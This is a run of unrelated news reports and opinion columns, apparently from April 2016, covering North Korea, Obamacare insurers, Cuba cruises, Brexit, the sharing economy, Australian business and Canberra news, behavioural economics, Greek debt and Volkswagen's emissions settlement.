The Hong Kong-based Information Center for Human Rights and Democracy said earlier this week that China had sent 2,000 troops to the border, a story picked up by Russian and Iranian news outlets, among others.

The decision was made ahead of the expected testing of North Korea's fifth nuclear device, the report said, in violation of U.N. sanctions.

"The relevant report does not accord with the facts," the Defense Ministry said in a short statement. "The Chinese military maintains normal combat readiness and training on the China-North Korea border."

It did not elaborate.

Reports periodically surface about unusual troops movements on the border, which are hard to verify independently and generally quickly denied by the Chinese government.

North Korea has vowed to conduct further nuclear tests, despite stepped up international sanctions.

Some experts expect North Korea to conduct a fifth nuclear test in the near future, possibly before a ruling party congress in early May, following an embarrassing failure of a test of an intermediate-range missile earlier this month.

China is North Korea's most important economic and diplomatic backer, but has been infuriated by North Korea's nuclear and missile tests and has signed on for tough U.N. sanctions.

North Korea and the rich, democratic South are still technically at war after the 1950-53 conflict ended in an armistice, not a treaty. China and North Korea fought side-by-side against a U.S.-backed South Korea, which joined forces under the U.N. flag.

The North routinely threatens to destroy South Korea and the United States.
With Congress limiting the bailouts of insurance companies for two years in a row, business is not looking good for the industry that lobbied for Obamacare. The latest casualty is United Healthcare, which announced that it is withdrawing from most of its 34 Obamacare exchanges next year.

Announcing the decision during a first quarter earnings conference call, UnitedHealthcare CEO Stephen Hemsley said, The smaller overall market size and shorter-term, higher-risk profile within this market segment continue to suggest we cannot broadly serve it on an effective and sustained basis."

Due to congressional limits on insurance company bailouts, in October the Department of Health and Human Services transferred $362 million to loss-making insurance companies, rather than the $2.9 billion that they requested.

The Health Insurance Association of America, under the leadership of Karen Ignagni, lobbied heavily in favor of the Affordable Care Act. But now the pool of insured is smaller and sicker than they anticipated.

UnitedHealthcare and other insurance companies thought that they would have a captive market of young, healthy people who would be forced to sign up for expensive policies with the threat of penalties. The premiums from these young people, who do not use much health care because they are rarely sick, would be used to pay for the care of the old and the chronically-ill.

The Affordable Care Act was unfairly structured so that younger healthy Americans would to pay for everyone elseeven though the young have higher unemployment rates, less disposable income, more student loans, and fewer assets.

Little did these insurance companies know that enrollment would fall far short of predictions. Enrollment in the exchanges is estimated by Health and Human Services Secretary Sylvia Burwell to be12.7 million in 2016, compared with 22 million predicted by the Congressional Budget Office in May 2013. Insurance companies are not getting enough premiums to cover the costs of treating enrollees.

Just because insurance companies bet wrong, it does not mean that Uncle Sam should bail them out.

The problem is that the Affordable Care Act is simply unsustainable, as I forecast in a column written in December, 2009. It mandates a generous, comprehensive plan that is also expensive. Young, healthy people do not want to sign up because the premiums are far higher than their healthcare costs. They rightly do not see why they have to buy a plan with pediatric dental care even if they have no children, and mental health and drug abuse coverage if they do not need it. Many would buy a simple plan, covering major catastrophic expenses, but such plans are not allowed to be sold on the exchanges.

People who are signing up for Obamacare are disproportionately sicker than average and have chronic health conditions that make them more expensive to insure.

Insurance companies were relying on payments from the federal government to constrain their losses as part of a device known as risk corridors. Risk corridors allow the government to bear a portion of the costs if they become too high. Section 1342 of the Affordable Care Act states that the Secretary of HHS can reimburse insurance companies if the costs of covering sick people exceed the premiums received. However, the Act did not provide an appropriation for these funds.

Both the Congressional Research Service and the U.S. Government Accountability Office have ruled that a congressional appropriation is required before federal agencies can make risk corridor payments for losses incurred under the Affordable Care Act.

UnitedHealthcare cannot make money without government funds. Its action follows the closure of numerous healthcare cooperatives, such as the Kentucky Health Cooperative (51,000 members), Health Republic Insurance of New York (150,000 members), CoOportunity Health in Iowa and Nebraska (120,000 members), the Louisiana Health Cooperative (17,000 members), and Nevada Health CO-OP (14,000 members).

Obamacare might collapse if the health insurance companies continue to withdraw from the exchanges.

If Congress holds its ground during the appropriations process and refuses to bail out the insurance companies for fiscal 2017, it is likely that more of them will withdraw from the exchanges, raising prices for existing customers. Premiums rose in some markets by 20 percent in 2016, leading to more healthy young people dropping out of plans or not enrolling, accelerating the financial imbalance.

Look at UnitedHealthcare as the canary in the coal mine, and expect more withdrawal announcements in the future.





Diana Furchtgott-Roth is a senior fellow and director of Economics21 at the Manhattan Institute. Follow her on Twitter here.
A group of U.S. architects look from a balcony in Old Havana, Cuba, April 18, 2016. Photo: Reuters/Enrique de la Osa

Cuba said on Friday it would lift a ban on Cubans and Cuban-Americans entering and leaving the Caribbean island by commercial vessels, opening the way for cruise operator Carnival Corp to set sail for the country next week.

Carnival's May 1 cruise, the first from the United States to the Communist-run country since the 1959 revolution, was thrown into doubt when the company triggered a backlash by refusing Cuban-Americans passage due to a Cold War-era law.

A statement carried by state-run media said that starting April 26, Cuban citizens would be authorized "independently of their migratory status to enter and leave as passengers and crews of cruise ships."

Carnival received approval from the United States last year to sail to Cuba, and the green light from Havana a day after U.S. President Barack Obama's historic visit to the country in March.

The waters between the two countries have been the scene of mass migration, hijacking and other crimes in the past, leading Cuba to ban Cubans from traveling by boat without special permission, even though restrictions on traveling by air were lifted years ago.

Protests in Miami, where the company is based, a discrimination suit and criticism by Secretary of State John Kerry led Carnival to start accepting bookings from Cuban-Americans earlier this month.

The company said it would postpone the cruise if necessary, but also expressed confidence Cuba would rescind the law before its first 'Fathom' adventure, which is expected to begin sailing to three Cuban cities every fortnight from May 1.

Cuban-born Americans are free to enter their homeland by air, with around 300,000 arriving every year.

The statement on Friday said authorities were also reviewing a ban on citizens from boarding recreational vessels such as fishing boats and yachts.
U.S. President Barack Obama walks down the steps of Air Force One as he arrives at Stansted Airport near London, Britain April 21, 2016. Photo: Reuters/Peter Nicholls

U.S. President Barack Obama made an impassioned appeal on Friday for Britain to remain in the European Union, saying membership had magnified Britain's place in the world and made the bloc stronger and more outward looking.

Fearful that a British exit could weaken the West, Obama arrived in London to applaud Britain's EU membership which he said had helped make the world freer, richer and better able to tackle everything from migration to terrorism.

Praising Britain's "outsized" influence in the world, Obama invoked the interlinked history of the two countries and the tens of thousands of Americans lying in European war graves as his reason for speaking as "a friend" on the June 23 referendum.

"The European Union doesn't moderate British influence - it magnifies it," he wrote in an article placed on page 20 of the eurosceptic Daily Telegraph newspaper under the headline "As your friend, I tell you that the EU makes Britain even greater."

The remarks of Obama, who opinion polls show is popular in Britain, undercut one of the most passionate arguments of the opponents of EU membership: that Britain could prosper on an equal basis with global powers such as the United States and China.

Obama said Britain's closest ally wanted it to remain in the club it joined in 1973 to bolster trade and strengthen the 28-member bloc, which Washington views as a pillar of stability.

"The United States sees how your powerful voice in Europe ensures that Europe takes a strong stance in the world, and keeps the EU open, outward looking, and closely linked to its allies on the other side of the Atlantic".

Obama is due to dine at Windsor Castle with Queen Elizabeth, who celebrated her 90th birthday on Thursday, and her husband Prince Philip. Obama will then hold talks with Prime Minister David Cameron, followed by a news conference.

Campaigners for Britain's EU membership, including Cameron, who is leading the "In" campaign, will welcome Obama's intervention, which led news broadcasts on British television.

But the president's comments drew scorn from opponents of Britain's EU membership.

New York-born London Mayor Boris Johnson, who heads the "Out" campaign, said that he did not want to be lectured by Americans about EU membership and that the United States would never countenance such a transfer of sovereignty.

"For the United States to tell us in the UK that we must surrender control of so much of our democracy -- it is a breathtaking example of the principle of do-as-I-say-but-not-as-I-do," Johnson wrote in the Sun newspaper.

"It is incoherent. It is inconsistent, and yes it is downright hypocritical," Johnson said.

Opinion polls indicate that British voters are leaning towards the "In" camp but many remain undecided. "In" campaigners are concerned that young voters may not turn out to vote.

"Stick together"

The U.S. government, and many U.S. banks and companies, fear a Brexit would cause market turmoil, diminish the clout of its strongest European ally, hurt London's global financial hub status, cripple the EU and weaken Western security.

"Now is a time for friends and allies to stick together," Obama said. "Together, the United States, the United Kingdom, and the European Union have turned centuries of war in Europe into decades of peace, and worked as one to make this world a safer, better place."

Cameron has said that this is no time for Britain to drop out of the club it joined in 1973, especially in the face of what he terms Russian President Vladimir Putin's aggression.

Asked about Obama's views, Cameron previously told the parliament, "Personally I believe we should listen to advice from friends and other countries and I struggle to find the leader of any friendly country who thinks we should leave."

Ahead of a 2014 Scottish vote on independence, Obama said he hoped Britain "remains strong, robust and united", a comment that was welcomed by unionist politicians in London.

Citing President Franklin D. Roosevelt's 1939 toast to Washington's close alliance with Britain, Obama lauded Britain's contribution to the development of democracy, the rule of law and open markets.

Guests hold a report published by Britain's Treasury on the economic impact of Brexit at an event at the National Composites Centre at the Bristol and Bath Science Park, in Bristol, Britain, April 18, 2016. Photo: Reuters/Matt Cardy/Pool

"The US and the world need your outsized influence to continue -- including within Europe," Obama said.

Opponents of the EU, many of whom laud the U.S. alliance, have said that membership has shackled Britain to the corpse of a failed German-dominated experiment in European integration, and that Britain, if freed, could prosper as a sole trader.

Such opponents caution that while many world leaders like Obama, banks such as Goldman Sachs and big companies such Ford may want Britain to remain in the EU, the British people do not appreciate being lectured about how to vote.

Nigel Farage, a prominent opponent of membership as leader of Britain's UK Independence Party, called Obama the most anti-British American president to date.

"This is an unwelcome interference ... Mercifully, he won't be in office for much longer."
Prime Minister David Cameron urged young Britons on Thursday to make sure they vote in a June 23 referendum on membership of the European Union, warning that leaving the bloc would hit them the hardest.

With public opinion evenly split, youth voters are expected to play an important role in the referendum outcome because polling shows they are generally more pro-European, but less inclined to vote.

Cameron, who wants Britain to stay in the 28-country bloc, was speaking at the launch of a campaign targeted specifically at young voters.

"Whatever you do, June 23rd make sure you vote. It is your voice, it's your future, it's vital for you, vital for our country," he said.

The intervention is designed to increase voter turnout and thereby boost the prospects of a flagging "In" campaign which has ceded ground to eurosceptics in some recent opinion polls.

But polling shows younger voters tend to back the centre-left Labour party and Cameron has endured a difficult few weeks following a budget row, accusations of failing to protect British steel, and questions over his family's tax arrangements.

Low turnout was seen as one of the factors behind a defeat for the Dutch government on Wednesday in a referendum that rejected an EU treaty on deepening integration with Ukraine.

Asked about the outcome of that vote, Cameron said there were no direct comparisons with the British referendum.

'Most to gain, most to lose'

He argued that young people's job prospects would be disproportionately affected by the economic impact of an EU exit.

"You have the most to gain by staying in a reformed European Union and you also have the most to lose if we leave," he said.

Rival "Out" campaigners dismissed that claim, saying that money sent to Brussels under Britain's membership terms was adding to the national debt that would have to be paid off by young workers.

Eurosceptics were also angered by the government's decision to spend 9.3 million pounds ($13 million) on a 16-page leaflet setting out "why it believes that remaining in the EU is the best decision for the UK."

"This is not the facts, it is a misleading government propaganda campaign," said Vote Leave chairwoman Gisela Stuart.

The leaflet will be sent to every household in the country and promoted online to meet voter demand for more information on how to cast their ballot, the government said.
The following is a summary of testimony before the House Committee on Education and the Workforce. To access the full testimony, click here.

Chairman Walberg, Ranking Member Wilson, and other Members of House Education and the Workforce Committee, thank you for the opportunity to give testimony on how new administrative interpretations of the Fair Labor Standards Act of 1938 fail to reflect the realities of todays workforce.

I am a fellow at Economics21 at the Manhattan Institute and am the coauthor, with Diana Furchtgott-Roth, of Disinherited: How Washington Is Betraying Americas Young. I am also the author of the forthcoming Uber Positive: Why Americans Love the Sharing Economy.

The American economy is changing, and millennials attitudes about work and their careers are changing with it. The rapid rise of the so-called sharing economy embodies many young Americans new economic idealone driven by technology, convenience, and flexibility.

Companies such as Uber and Airbnb offer the technical platform and support to allow transactions between buyers and sellers easily to take place. For this reason, these types of companies are often referred to as intermediaries. Those who partner with intermediaries are classified as independent contractors, not employees.

The flexibility that independent contractor status offers workers is vital to the sharing economys success. While some workers use these platforms full time, the vast majority use them for part-time work or supplemental income. About 8 in 10 Lyft drivers choose to drive 15 hours a week or less, and half of Uber drivers use the platform for less than 10 hours a week.

Furthermore, half of Lyfts drivers work another job while partnering with the company. Similarly, two-thirds of Uber drivers hold another job. Independent contractor status allows the decision of when or for how long to work to be controlled by workers, not companies.

The opportunity to smooth out earnings to meet rent, pay down student loans, or fund a new business venture is a benefit of the sharing economy that must be protected. This is especially critical for the 70 percent of Americans ages 18 to 24 who experience an average change of over 30 percent in their monthly incomes.

But the sharing economys rise obscures a troubling economic trend. Once dynamic, the American economy is growing slowly and entrepreneurship is falling. Even though two-thirds of millennials want to work for themselves in the future, less than 4 percent of private businesses are at least partially owned by someone under the age of 30.

One reason for this is that government policy, particularly in regards to labor regulation, ignores the realities of a 21st century economy and continues to hold back millennials economic opportunities.

For example, the Labor Department recently issued an administrators interpretation, effective immediately, to clarify the definition of independent contractors. It states that most workers are employees, not independent contractors. Because it was termed guidance, it did not have to go before the public for comment, even though it has the potential to upend the sharing economy.

Currently, workers are either categorized as employees or independent contractors. Employees are given many protections and benefits under the Fair Labor Standards Act that are not available to contractors. In exchange, employers set the conditions of workers terms of employment. On the other hand, the independent contractor model provides workers with more control and flexibility.

The Labor Departments interpretation formally accepts the six-part economic realities test for determining whether workers are employees or independent contractors. At the same time, it downplays one of the six criteria, a lack of control over workers hours, as a determinant of employment status. This could be devastating for sharing economy companies, which do not control workers hours.

Unlike employees, independent contractors are not entitled to minimum wage, overtime pay, unemployment insurance, or workers' compensation. But extending these employment protections to independent contractors makes no sense. When debating the future of worker classification, lawmakers should resist calls to extend employee wage and hour protections to independent contractors.

The difference in treatment is justified because independent contractors work for themselves.

Moving these workers into an employer-employee relationship from their currentbut threatenedindependent contractor status would substantially hinder the growth of sharing economy, not to mention the flexible work opportunities and immense consumer benefits that it provides.

Since intermediaries do not control workers hours, and determining how much someone is actually working solely for the intermediary is difficult (if not impossible), minimum wage and overtime pay requirements are inapplicable to the companies workers. Additionally, one of the benefits of the sharing economy is that supply can easily fluctuate to meet ever-changing demand.

Because of the option of flexibility, independent contractor work for intermediaries is often transient, or done in addition to other work. This is why there is little reason to compel employers to fund unemployment insurance benefits. Intermediaries workers also usually complete jobs off-site and use their own materials. For these reasons, workers compensation systems should remain optionalnot mandatoryfor intermediaries.

The worker classification question needs to be sorted out by federal legislators, not courts or unaccountable executive agencies. The alternative is the crippling of the sharing economy by executive agencies set on incorrectly classifying the vast majority of new economy workers as employees.

Millennials want to be entrepreneurs, and they desire employment that is flexible, mobile, and individualized. The Department of Labors attempt to stifle the rise of promising new business models though regulation is no way to help millennials achieve their vision of the American Dream. In order to promote an entrepreneurial workforce, Congress needs to use its powers to rein in the Labor Department.





Jared Meyer is a fellow at the Manhattan Institute for Policy Research. Follow him on Twitter here.

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Reported crime in Canberra has hit its lowest in four years, with a 10 per cent drop in the past 12 months.

But not all trends from the ACT Policing's latest quarterly statistics are positive.

Overall crime is down in the ACT, but it's far from the case in some areas.

There has been a rise in crime figures for the Molonglo District and Gungahlin, with the former jumping by 83 per cent in the past year and the latter by 32 per cent.

There was also 12 per cent more crime reported in the Inner South.
Known in history as a moderate bridge between the radical social reforms of the Whitlam era and the radical economic reforms of the Hawke-Keating era, Malcolm Fraser will now be immortalised by a bridge over the Molonglo River.

The key piece of infrastructure on the new Majura Parkway will officially take its name from the 22nd prime minister of Australia from Friday, as the final section of the eastern bypass of the city opens early.

Tamie Fraser, wife of the late Malcolm Fraser, walks along the Malcolm Fraser Bridge and chats to Senator Zed Seselja and ACT Chief Minister Andrew Barr during its official opening. Credit:Graham Tidy

Chief Minister Andrew Barr said the completion of the largest infrastructure project in the territory's history, combined with the launch of the Capital Express flights to Singapore later in the year, will open up Canberra as a viable alternative to Sydney for freight into South-East Asia.

"Our freight objectives are to first get back a slice of the market that's currently lost to Sydney but we're looking to grow the freight distribution not just within two hours of Canberra but four to six hours," Mr Barr said.
Environment Minister Simon Corbell has announced three companies will receive $200,000 each to install discounted battery power systems in Canberra homes and businesses, as part of a government pilot program.

SolarHub, ActewAGL Retail and ITP Renewables were named on Friday as the first recipients of funds from the energy storage pilot scheme, which Mr Corbell said would make battery storage systems more affordable and help drive renewable energy targets.

The pilot could see a discount of about $2,700 for homeowners on a battery that can provide 3kW of sustained peak output. Credit:Glenn Hunt

The pilot program is designed to test the market and provide data on industry viability. Each of the firms will receive $900 per kW of sustained peak output that the battery provides, with about 200 battery systems expected to be installed.

Mr Corbell said the pilot could see a discount of about $2,700 for homeowners on a battery that can provide 3kW of sustained peak output. The government hopes increased use of battery power will save money on some power grid infrastructure in the future.
China will host its first AFL premiership match next year, with Gold Coast set to be Port Adelaide's opponents - or are they?

The Power announced last week they would be the first club to play a match in the world's most populated country.

Gold Coast chairman Tony Cochrane, who was also in charge of the V8 Supercars when they signed a broadcast deal in China, said on Friday morning that the Suns will be Port Adelaide's opponents and will be paid around $600,000 for the trip.

But AFL chief Gillon McLachlan dampened Cochrane's enthusiasm only hours later.
Consumer financier FlexiGroup is the first Australian company to issue a "green" asset backed security to fund its solar panel installation financing.

The "climate bond" forms $50 million of a $260 million issue of asset-backed securities by FlexiGroup. The Flexi ABS 2016-1 bond was arranged by NAB and NAB and Commonwealth Bank were joint lead managers.

FlexiGroup's $50 million 'green bond' is part of a $260 million securitisation of its receivables from funding solar panel installations. Credit:Wolter Peeters

The government's Clean Energy Finance Corporation bought $20 million of the bond. It has also bought into securitisations by other equipment financiers, including Eclipx.

FlexiGroup's new chief executive Symon Brewis-Weston said the CEFC's cornerstone investment was important, but it could have done the issue without it as it was well oversubscribed and FlexiGroup will likely make greater use of the new funding instrument in future.
The good and the bad businesses inside collapsed steelmaker Arrium were in the spotlight on Friday in two states, as administrators KordaMentha race against the clock to come up with a package to entice future buyers and save thousands of jobs.

Mark Korda, one of the "Marks" whom the restructuring and insolvency firm is named after, says the east coast steel business which includes an electric arc furnace and mini steel mill at Laverton, near Melbourne, is profitable and a going concern that will power on under any new owner.

Mark Mentha, the other Mark, has a much more difficult problem. He held meetings on Friday in Whyalla with the South Australian Treasurer Tom Koutsantonis and other key officials, with heavy cost-cutting planned at the loss-making steelworks in South Australia to try to stem the red ink in the short-term and preserve enough cash to allow for an orderly sale process.

KordaMentha has become one of Australia's biggest insolvency and restructuring firms after the two Marks hit the spotlight in 2001 when they took on the wind-up of Ansett, which was then Australia's second-largest airline behind Qantas.
The human rights situation in North Korea remains abysmal, according the 2015 State Department Human Rights Report. The country remains an authoritarian state, which has been led by the Kim family for almost 70 years.

The government of Kim Jong Un continues to rule with an iron fist, denying freedoms of speech, press, assembly, association, religion, and movement.

One of the most infamous aspects of the North Korean regimes repression is its network of prison camps. According to the human rights report, there are reportedly between 80,000 and 120,000 political prisoners in North Korea.

Torture continues to be a common occurrence in North Korean detention facilities, according to numerous defector accounts and non-governmental organizations. Abuses include severe beatings, electric shock, prolonged periods of exposure to the elements, humiliations such as public nakedness, and confinement in tiny punishment cells. Mothers were in some cases reportedly forced to watch the infanticide of their newborn babies. According to the United Nations Commission of Inquirys 2014 Report, North Korean officials had in some cases prohibited live births in prison and ordered forced abortions as recently as 2013.

The Korea Institute for National Unification, or KINU, a South Korean government-affiliated think tank, reported that in some cases of live birth, the prison guards killed the infant or left the baby to die. KINU also reported cases of guards sexually abusing or exploiting female prisoners.

In past years, defectors reported that authorities subjected Christian inmates to harsher punishment if their faith was made public.

The United States condemns in the strongest terms possible the human rights abuses in North Korea. The U.S. believes all people everywhere, including North Koreans, are entitled to fundamental rights. As U.S. Secretary of State John Kerry said, People everywhere want to be free and in control of their lives.
Clive Palmer is copping the brunt of anger among workers gathering in Townsville for a vote on whether to wind up his company Queensland Nickel.

Creditors, including almost 800 sacked refinery workers, are owed about $200 million and will vote on Friday whether to put the company into liquidation.

Phil Blackhurst worked at Queensland Nickel's Townsville refinery for seven years, and other than some casual work he has not had an income since losing his job in January.

"It's been hard, very stressful," he said.
"The longer it takes, the more it's delayed, people lose things, they forget things, they create cover stories. This sort of stuff has to be acted on almost immediately," he said. Mr Sasse said the US Justice Department and Britain's Serious Fraud Office were far more capable than the AFP in dealing with foreign bribery. "We are not playing at the same league in terms of the capacities of the AFP in particular and the track record is pretty poor and at the end of the day that speaks volumes." Gregg 'signed off' In the case of Mr Gregg, who is now chief executive of listed company Primary Healthcare, Mr Sasse said he had seen a document showing how Mr Gregg signed off on a suspect $15 million payment to a Dubai consultant on Leighton's behalf in 2011.

He also revealed he had signed an affidavit at the request of ASIC as part of its investigation into Mr Gregg for alleged false accounting offences. Those found guilty of false accounting can face two-year jail terms. Asked by a senator if ASIC intended to charge Mr Gregg over the payment, Mr Sasse said: "They made that very clear." Asked if the payment was "improper or unlawful", Mr Sasse replied: "Without doubt." Cases underway Australian Federal Police acting deputy commissioner Ian McCartney told the committee that although the Leighton investigation had taken a long time due to its complexity, the public could soon expect some important developments.

He also said the AFP's probe into an alleged $200,000 payment by Tabcorp to the family of Cambodia's Prime Minister Hun Sen---which led to former Tabcorp boss Elmer Funke Kupper stand down as the head of the Australian Securities Exchange---was a "priority investigation". The AFP had 12 active foreign bribery investigations, four matters with the Commonwealth Director of Public Prosecutions and two before courts, Mr McCartney said. Senior ASIC officials said the investigation into the allegedly improper $15 million payment by Leighton to the Dubai consultant was one of its "major" jobs. In a statement to the ASX, Primary Health Care said its board had been updated by Mr Gregg on the ASIC probe and given an assurance by him that he had "acted at all times in accordance with the law". ASIC seizes documents

Mr Sasse's extraordinary testimony came after Fairfax Media revealed how it had been served with a notice to produce documents by ASIC in relation to its recent reports on leaked files from Monaco firm Unaoil. The consultant who received the $15 million payment, Mahesh Khemka, is a criminal involved in bribery, fraud and money laundering. Mr Gregg's fellow Leighton executives, David Savage and Russell Waugh, knew this before Mr Gregg made the $15 million payment in August 2011. Just a few months earlier, in April 2011, Mr Waugh and Mr Savage had used Mr Khemka and Unaoil to pay a $5.6 million bribe to help win a contract for Leighton Offshore in Iraq.

Leighton pipeline It was one of several large bribes Mr Waugh instructed Leighton's offshore business to pay via Unaoil. There is no suggestion Mr Gregg had any dealings or knowledge of Mahesh Khemka until August 2011. Mr Gregg has denied wrong-doing and issued a writ in the Federal Court against Fairfax Media over its reports of his involvement in the $15 million payment. Mr Sasse told the committee that nothing would surprise him when it came to the activities of some of Leighton International's former overseas executives. "The Leighton International business operated without any of the governance frameworks that I expected," he said.
Shares in Murray Goulburn have been placed in a trading halt, as Australia's biggest milk processor revises its earnings outlook amid a bleak global environment for dairy products.

The halt is expected to last until next Wednesday.

Units in Murray Goulburn's non-voting listed trust closed 0.5 per cent lower on Thursday at $2.14. This compared with the broader market gaining 1 per cent.

Murray Goulburn said in a statement to the ASX it would review the impact of market conditions on its 2016 outlook. Global dairy prices have failed to rebound as expected amid a persistent oversupply of products, stemming for Russian sanctions and with the world's biggest dairy importer, China, stepping out of the market.
A skittish Sydney has an eye on his fortunes. For a week, McGrath Ltd shares have traded at about half their $2.10 float price, finishing at $1.10 on Friday after a trading halt the week before and a crash to 85 on Monday. The company, valued at $215 million, downgraded its projected revenue by $4 million the same day. Float brokers JPMorgan and Bell Potter then slashed their share price outlooks by 23 to 28 per cent. Housing affordability fears, tighter bank borrowing rules, slowing Chinese demand, increased apartment supply, election-year uncertainty and bad press have all been blamed for the share slump. As a full-page McGrath advertisement said on Wednesday: "The difference between a good price and a great price isn't one thing, it's everything."

Ideas man McGrath himself has kept quiet this week, refusing interview requests. "I imagine he must be finding it very challenging and very disappointing," said entrepreneur Wendy McCarthy, a founding chair of McGrath Operations who left in June. "You've got people telling you everything is going to be fabulous and the float is oversubscribed and you believe it." McCarthy, who praised McGrath's imagination and generosity, said he had dreamt of floating for at least 15 years. "I think it's a sort of validation." McGrath was pleased with his school leaving score of 95 before he discovered it was out of 500. Having wanted to become a rugby league player, he suffered two collapsed lungs and went into real estate instead in 1988.

"He took the industry to another level," Debbie Donnelley, a former employee, said. "He was an ideas man." McGrath produced marketing materials of unprecedented quality and expanded to become a force in Sydney's inner and eastern suburbs as well as south-east Queensland. At his side for more than two decades was business partner James Dack, who concentrated on sales management before leaving in 2014. Dack, who reportedly had not spoken to McGrath in the six years before his departure, did not return calls. A competitor who said he was on friendly terms with McGrath described him as an early-to-bed, early-to-rise "control freak" who planned his outfits a week in advance.

But the competitor said McGrath's ego was no bigger than any other salesperson's. If he craved attention, why say no to a second season of the entrepreneur TV program Shark Tank? Legacy "Legacy" is a word people use when discussing McGrath's decision to float. He is 52, unmarried and childless. Racehorses can take up only so much time. A public listing was considered the best way to expand and the new company immediately bought out a north-west Sydney franchise network, Smollen Group, for $52 million.

McGrath now blames this foray for the profit downgrade; Smollen sales fell 25 to 30 per cent in the first two months of the year. "What we have seen play out is a level of reduction in listings in certain areas that was far greater than any softening we expected," chief operating officer Geoff Lucas said this week. Not all McGrath's rivals in the area claim to have experienced such declines. But Alison Mifsud of Epping First National said while her agency's sales numbers had remained steady, inquiries had dropped 30 per cent on last year and clearance rates were below 70 per cent. "McGrath probably just got out in time," Mifsud said, referring to the money he earned in the float. That view remains popular, even though McGrath retained two thirds of his stake and has bought more shares since. Some investors might have wondered why they should buy just as Mr Real Estate stepped back.

Predictions for house prices and loans for 2016 Downturn? The median price for a Sydney home has now fallen below $1 million. But JPMorgan analyst Russell Gill said it was too cynical to think McGrath had been simply shoring up cash and hedging risk before a downturn. "There's nothing worse for him and his brand and his name than to have a share price that keeps getting lower," Gill said.

One bright spot for McGrath is its dominance of the government's $500 million public housing sale at Millers Point. Rival agencies expect McGrath to win the next tranche of 153 terraces in Millers Point on top of the 48 it has already sold. The float brokers also point to the cycles of large US real estate companies to suggest a McGrath comeback later in the year. But they admit overseas comparisons are far from perfect. McGrath, Australia's only listed real estate agent, continues to forge its own path. Loading "The journey must be the reward," McGrath writes in his self-help book.
From then on the young Thaler  obviously a bit of a rebel and troublemaker  began compiling a list of what he came to call "anomalies"  things people actually did that the conventional model assumed they didn't. Thaler tells the story of those cashews in his latest book, Misbehaving. It's an apt title because the book charts the development of a new school of economic thought known as "behavioural economics". Behavioural economics studies the differences between the way people in the economy actually behave and the way the model assumes they do. More realistic assumptions In deference to academic economists' obsession with mathematics  a preoccupation that began only after World War II, led by men such as Sir John Hicks, Kenneth Arrow and Paul Samuelson  younger behavioural economists search for ways to make more realistic the assumptions on which mathematical models of the economy are built.

If non-rational behaviour is predictable, it can and should be incorporated into economists' models. Thaler says behavioural economics has three essential elements: bounded rationality (see below), bounded willpower (see above) and bounded self-interest  we can be more generous to others than the model assumes. Illustration: Glen Le Lievre So what are the origins of "BE"? In their book, Animal Spirits, George Akerlof and Robert Shiller argue that John Maynard Keynes was the first behavioural economist. Thaler says Keynes was "a true forerunner of behavioural finance". (Behavioural finance is the part of behavioural economics that focuses on behaviour in financial markets.)

Animal spirits Keynes argued that individuals' "animal spirits"  his word for their emotional responses  played an important role in their decision making. At times this could discourage business from investing, thus strengthening the case for governments to use their budgets to stimulate the economy. Keynes wrote his magnum opus in 1936. But Thaler takes BE's origins back to the founder of economics, Adam Smith, and the less famous of his two books, The Theory of Moral Sentiments, published in 1759. Smith was "an early pioneer of behavioural economics" because of his detailed description of problems of self-control. A more obvious forerunner is the American academic Herb Simon who, in 1957, coined the term "bounded rationality" and was later awarded the Nobel prize in economics for his trouble.

Rich field Bounded rationality is the idea that people's ability to make "rational"  coolly calculating  decisions is limited by the information available to them, the trickiness of the decision, the brain's inadequate processing power and the time available for thinking about it. Many people probably assume, however, that the true originator of BE is the Princeton psychologist Daniel Kahneman who, with his late partner, Amos Tversky, began in the early 1970s identifying the many "heuristics" (mental shortcuts) and biases that cause humans' decision making to be less than rational. Behavioural economics has long been about incorporating the insights of psychology into economics. So it was no great surprise when the psychologist Kahneman was given the economics Nobel in 2002. Thaler moved to California in 1977 to work with Kahneman and Tversky for a year, but that was because he'd already done a lot of thinking about "anomalies". His book leaves me in little doubt that he's the economist who should get most credit for establishing BE as a respectable subject for economists to study.

Thaler began writing a column about "anomalies" from the first issue of the American Economic Association's new Journal of Economic Perspectives in 1987. In 1991 he teamed up with Shiller (who in 2013 got the Nobel for his work in behavioural finance) to organise a semi-annual workshop on behavioural finance under the auspices of the National Bureau of Economic Research. Breakthrough on bias One breakthrough in BE came when it was demonstrated that people's mental biases were systematic  that we were, in the title of Dan Ariely's book, Predictably Irrational. If non-rational behaviour is predictable, it can and should be incorporated into economists' models. And if people make predictable mistakes when buying shares and so forth, there ought to be scope for other investors to make a buck by betting against them.
Greek Prime Minister Alexis Tsipras on Thursday rejected the idea of more austerity measures and called for debt relief instead after the European Commission said Greece's fiscal performance was better than expected last year.

Economic progress has been a sticking point in bailout talks, which have dragged on for months as the European Union and the International Monetary Fund argue over whether Greece can achieve a 3.5 per cent primary surplus in 2018.

Greece's Prime Minister Alexis Tsipras: "Greece, in this last turn, needs a push forward not backwards." Credit:AP

Athens and the EU believe the target is feasible. The IMF considers it too optimistic and says debt relief is essential, combined with additional measures.

On Thursday, the EU Commission said Athens had attained a primary surplus of 0.7 per cent of GDP in 2015 based on Eurostat data, comfortably beating a target for a 0.25 per cent deficit.
Volkswagen is apparently setting aside $US10 billion ($13 billion) to settle all US claims against it for cheating on emission tests. As part of the settlement, it's offering American VW owners $US5000 each or a buyback of their cars. If a deal with US regulators and plaintiffs has indeed been reached on these terms, it's a high price to pay to maintain a presence in a relatively unimportant market, especially since paying it will result in losses to its reputation in bigger markets.

The US is not huge for VW, which has struggled and failed to break into the big leagues there. In 2014, the last full year before the emissions scandal, it made $US36.7 billion in revenue in North America. Applying the company's 5.2 per cent net income margin would mean a profit of about $US1.9 billion, less than 13 per cent of the global total. Even assuming that VW's sales in the region don't drop following the emissions scandal, $US10 billion is more than five years' worth of American profits for the company. Essentially, it's agreeing to operate at cost, or at a loss, for half a decade just to lay the scandal to rest.

VW is winning back in market capitalisation whatever it stands to lose in cash terms from the settlement. Credit:Getty Images

Apart from the direct outlay and the opportunity cost of not being able to use those resources in more receptive markets - for example, in Asia and Latin America - there's collateral damage that is hard to quantify. In Europe, VW is not offering car owners buybacks or $US5000 bonuses. There's a technological reason for that: less stringent European regulations didn't require cars to be fitted with nitrogen oxide (NOx) traps or selective catalytic reduction systems, as in the US, so a software fix or a cheap mechanical one makes the cars regulation-compliant on VW's home continent.

In the US, compliance requires a more expensive fix that is tricky from an engineering point of view: it involves fitting the cars with an extra liquid tank for urea, a NOx-reducing chemical. Still, European consumers are reluctant to go into these details: they have been cheated just as much by VW's "clean diesel" marketing as the US buyers, and they'd like equal compensation.
Proud memory

